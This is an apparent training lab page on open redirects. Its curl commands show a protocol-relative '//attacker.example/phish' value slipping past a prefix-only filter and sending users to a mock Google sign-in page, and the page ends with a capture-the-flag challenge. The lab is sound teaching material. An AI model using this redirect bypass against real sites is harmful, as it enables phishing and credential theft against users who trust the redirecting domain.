Open Redirect · Lab 17
Lab 17 Module 3 Easy

Open Redirect

A site has a login flow that redirects users to /dashboard when they sign in. It also accepts a next parameter — for cases where the user came from a specific page. It does not check where that parameter points.

The rule: the redirect endpoint at /api/17/redirect is supposed to only redirect to internal pages. Your job is to make it redirect to an external destination anyway. No code execution needed — just the wrong URL.

Test

Copy these. Read every header — the interesting part is in Location, which comes after the standard headers. Don't truncate the output with head; you'll miss it.

Step 1 · Follow a normal redirect

Ask the server to redirect you to a legitimate page. It should.

Terminal
curl -s -i "{LAB_API_BASE}/api/17/redirect?next=/dashboard"

What you'll see:

Response
HTTP/1.1 302 FOUND
Location: /dashboard
Content-Type: text/html; charset=utf-8
Content-Length: ~440

<!DOCTYPE html>
<html><head><title>Dashboard · Hunterlian</title>
  ... styles ...
</head><body>
  <div class="card">
    <h1>Dashboard</h1>
    <p>Welcome back. This is the Hunterlian dashboard you were redirected to.</p>
    <p class="muted">You are signed in as demo@hunterlian.lab</p>
  </div>
</body></html>

The server redirected you to /dashboard. Internal path. The HTML in the body is a fallback dashboard page — a browser would follow the Location header and load it there; curl just shows you the body directly. Everything is where it should be.

Step 2 · Try a direct external URL

The next parameter looks unvalidated. Try pointing it at a hostile domain.

Terminal
curl -s -i "{LAB_API_BASE}/api/17/redirect?next=https://attacker.example/phish"

What you'll see:

Response
HTTP/1.1 302 FOUND
Location: /dashboard
X-Blocked-Reason: scheme prefix rejected
Content-Type: text/html; charset=utf-8

<!DOCTYPE html>
<html><head><title>Dashboard · Hunterlian</title>
  ... (same dashboard page as Step 1) ...
</body></html>

Blocked. The Location header points at /dashboard, not at the attacker's domain, and there's an X-Blocked-Reason header saying the scheme was rejected. So the developer added a filter: anything that starts with http:// or https:// is refused.

The filter only checks the *prefix* of the string. That catches the obvious attack — the one that starts with a scheme. But it only checks prefixes.

Step 3 · Use a protocol-relative URL

A URL that starts with // has no scheme. Browsers interpret it as https://<host> — using the current page's scheme. It doesn't start with http:// or https://, so the server's prefix check lets it through. The browser resolves it as an external URL.

Terminal
curl -s  "{LAB_API_BASE}/api/17/redirect?next=//attacker.example/phish"

What you'll see:

Response
HTTP/1.1 302 FOUND
Location: //attacker.example/phish
Content-Type: text/html; charset=utf-8
Content-Length: ~1900

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <title>Sign in - Google Accounts</title>
  ... (styles that mimic Google's login) ...
</head><body>
  <div class="card">
    <div class="logo">Google</div>
    <h1>Sign in</h1>
    <p class="sub">to continue to Hunterlian</p>
    <input type="email" placeholder="Email or phone" disabled />
    <button disabled>Next</button>
  </div>
</body></html>

The server redirected to //attacker.example/phish. A browser loading that Location header would navigate the user to https://attacker.example/phish — a page the attacker controls. Look at the body: it's a fake Google sign-in page. From a trusted Hunterlian URL, with the Hunterlian domain in the address bar right before the redirect. The user would type their password into that page.

That's the phishing primitive. The filter failed because it checked the start of the string instead of the resolved URL.

Challenge

Now do it yourself. No copy-paste. Everything you need is above.

The server tracks this exploit. When the redirect points to //attacker.example/flag, it returns the flag — but not in the response body. It returns it in a response header: X-Lab-Flag.

Send the request with next=//attacker.example/flag and use curl -i so you see the headers, not just the body. The flag is on the X-Lab-Flag line. If you truncate the output with head, you will lose it — X-Lab-Flag comes after the standard headers.

This lab is free. The deep and the full knowledge is in the book. Full 30 Lessons

Lesson 17 — Open Redirect

You've practiced the exploit. Now learn why it happens, how attackers weaponize it, developer mistakes, how to fix it etc in the full Hunterlian book.

Buy the book

Already have the book? Back to reader →